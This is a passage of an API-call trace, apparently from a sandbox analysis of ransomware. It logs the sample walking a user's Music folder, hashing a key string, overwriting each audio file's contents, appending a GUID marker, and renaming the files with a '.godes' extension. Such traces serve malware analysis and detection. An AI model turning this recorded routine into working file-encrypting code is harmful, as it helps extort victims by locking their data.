dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.174] GetLastError () returned 0x0 [0114.174] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.174] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.174] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x972, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.174] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.174] CloseHandle (hObject=0x624) returned 1 [0114.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\ZN52hee3SS1DkjLr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\zn52hee3ss1dkjlr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\ZN52hee3SS1DkjLr.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\zn52hee3ss1dkjlr.wav.godes")) returned 1 [0114.176] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4863fd60, ftCreationTime.dwHighDateTime=0x1d4c5d7, ftLastAccessTime.dwLowDateTime=0xbc241d40, ftLastAccessTime.dwHighDateTime=0x1d4c625, ftLastWriteTime.dwLowDateTime=0xbc241d40, ftLastWriteTime.dwHighDateTime=0x1d4c625, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZN52hee3SS1DkjLr.wav", cAlternateFileName="ZN52HE~1.WAV")) returned 0 [0114.176] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.176] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.176] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.176] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\") returned="UFF1TS\\" [0114.176] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.177] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0114.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.177] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.177] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.177] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.177] PathFindFileNameW (pszPath="") returned="" [0114.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.177] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.178] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.178] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83649ae0, ftCreationTime.dwHighDateTime=0x1d4d267, ftLastAccessTime.dwLowDateTime=0x439a4b50, ftLastAccessTime.dwHighDateTime=0x1d4d404, ftLastWriteTime.dwLowDateTime=0x439a4b50, ftLastWriteTime.dwHighDateTime=0x1d4d404, nFileSizeHigh=0x0, nFileSizeLow=0x71ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="benH5y2SX1xIrg0bSF.m4a", cAlternateFileName="BENH5Y~1.M4A")) returned 1 [0114.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.178] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\benH5y2SX1xIrg0bSF.m4a") returned=".m4a" [0114.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\benH5y2SX1xIrg0bSF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\benh5y2sx1xirg0bsf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.179] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=29114) returned 1 [0114.179] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.180] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.180] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.183] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.183] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x71ba, lpOverlapped=0x0) returned 1 [0114.184] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.184] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.184] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.184] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.185] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.185] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.185] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.185] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.185] GetLastError () returned 0x0 [0114.185] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.185] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x71c0) returned 0x3321120 [0114.185] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.185] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x71b5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x71b5, lpOverlapped=0x0) returned 1 [0114.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.185] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x71ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.185] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.186] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.186] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.186] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.186] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.186] CloseHandle (hObject=0x624) returned 1 [0114.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\benH5y2SX1xIrg0bSF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\benh5y2sx1xirg0bsf.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\benH5y2SX1xIrg0bSF.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\benh5y2sx1xirg0bsf.m4a.godes")) returned 1 [0114.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.187] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.188] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f704250, ftCreationTime.dwHighDateTime=0x1d4cd01, ftLastAccessTime.dwLowDateTime=0xfcfd7fa0, ftLastAccessTime.dwHighDateTime=0x1d4cada, ftLastWriteTime.dwLowDateTime=0xfcfd7fa0, ftLastWriteTime.dwHighDateTime=0x1d4cada, nFileSizeHigh=0x0, nFileSizeLow=0xb2d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cemw.wav", cAlternateFileName="")) returned 1 [0114.188] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.188] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\cemw.wav") returned=".wav" [0114.188] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\cemw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\cemw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.189] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=45779) returned 1 [0114.189] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.190] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb2ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.191] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.192] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.192] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.192] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.192] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xb2d3, lpOverlapped=0x0) returned 1 [0114.193] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.193] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.193] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.193] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.193] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.194] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.194] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.194] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.194] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.194] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.194] GetLastError () returned 0x0 [0114.194] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.194] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.194] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb2d0) returned 0x3321120 [0114.194] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.194] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xb2ce, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xb2ce, lpOverlapped=0x0) returned 1 [0114.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.194] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb2d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.194] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.195] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.195] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.195] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.195] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.195] CloseHandle (hObject=0x624) returned 1 [0114.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0114.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0114.196] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\cemw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\cemw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\cemw.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\cemw.wav.godes")) returned 1 [0114.196] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.196] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.197] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.197] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf595bd60, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x97f2b5f0, ftLastAccessTime.dwHighDateTime=0x1d4d1c7, ftLastWriteTime.dwLowDateTime=0x97f2b5f0, ftLastWriteTime.dwHighDateTime=0x1d4d1c7, nFileSizeHigh=0x0, nFileSizeLow=0x18c5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iCs-vS.wav", cAlternateFileName="")) returned 1 [0114.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.197] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iCs-vS.wav") returned=".wav" [0114.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iCs-vS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ics-vs.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.198] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=101470) returned 1 [0114.198] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.200] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18c38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.200] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.202] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.202] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18c5e, lpOverlapped=0x0) returned 1 [0114.203] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.203] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.203] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.203] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.203] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.203] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.204] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.204] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.204] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.204] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.204] GetLastError () returned 0x0 [0114.204] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.204] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.204] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18c60) returned 0x3321120 [0114.204] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.204] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x18c59, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x18c59, lpOverlapped=0x0) returned 1 [0114.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.205] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18c5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 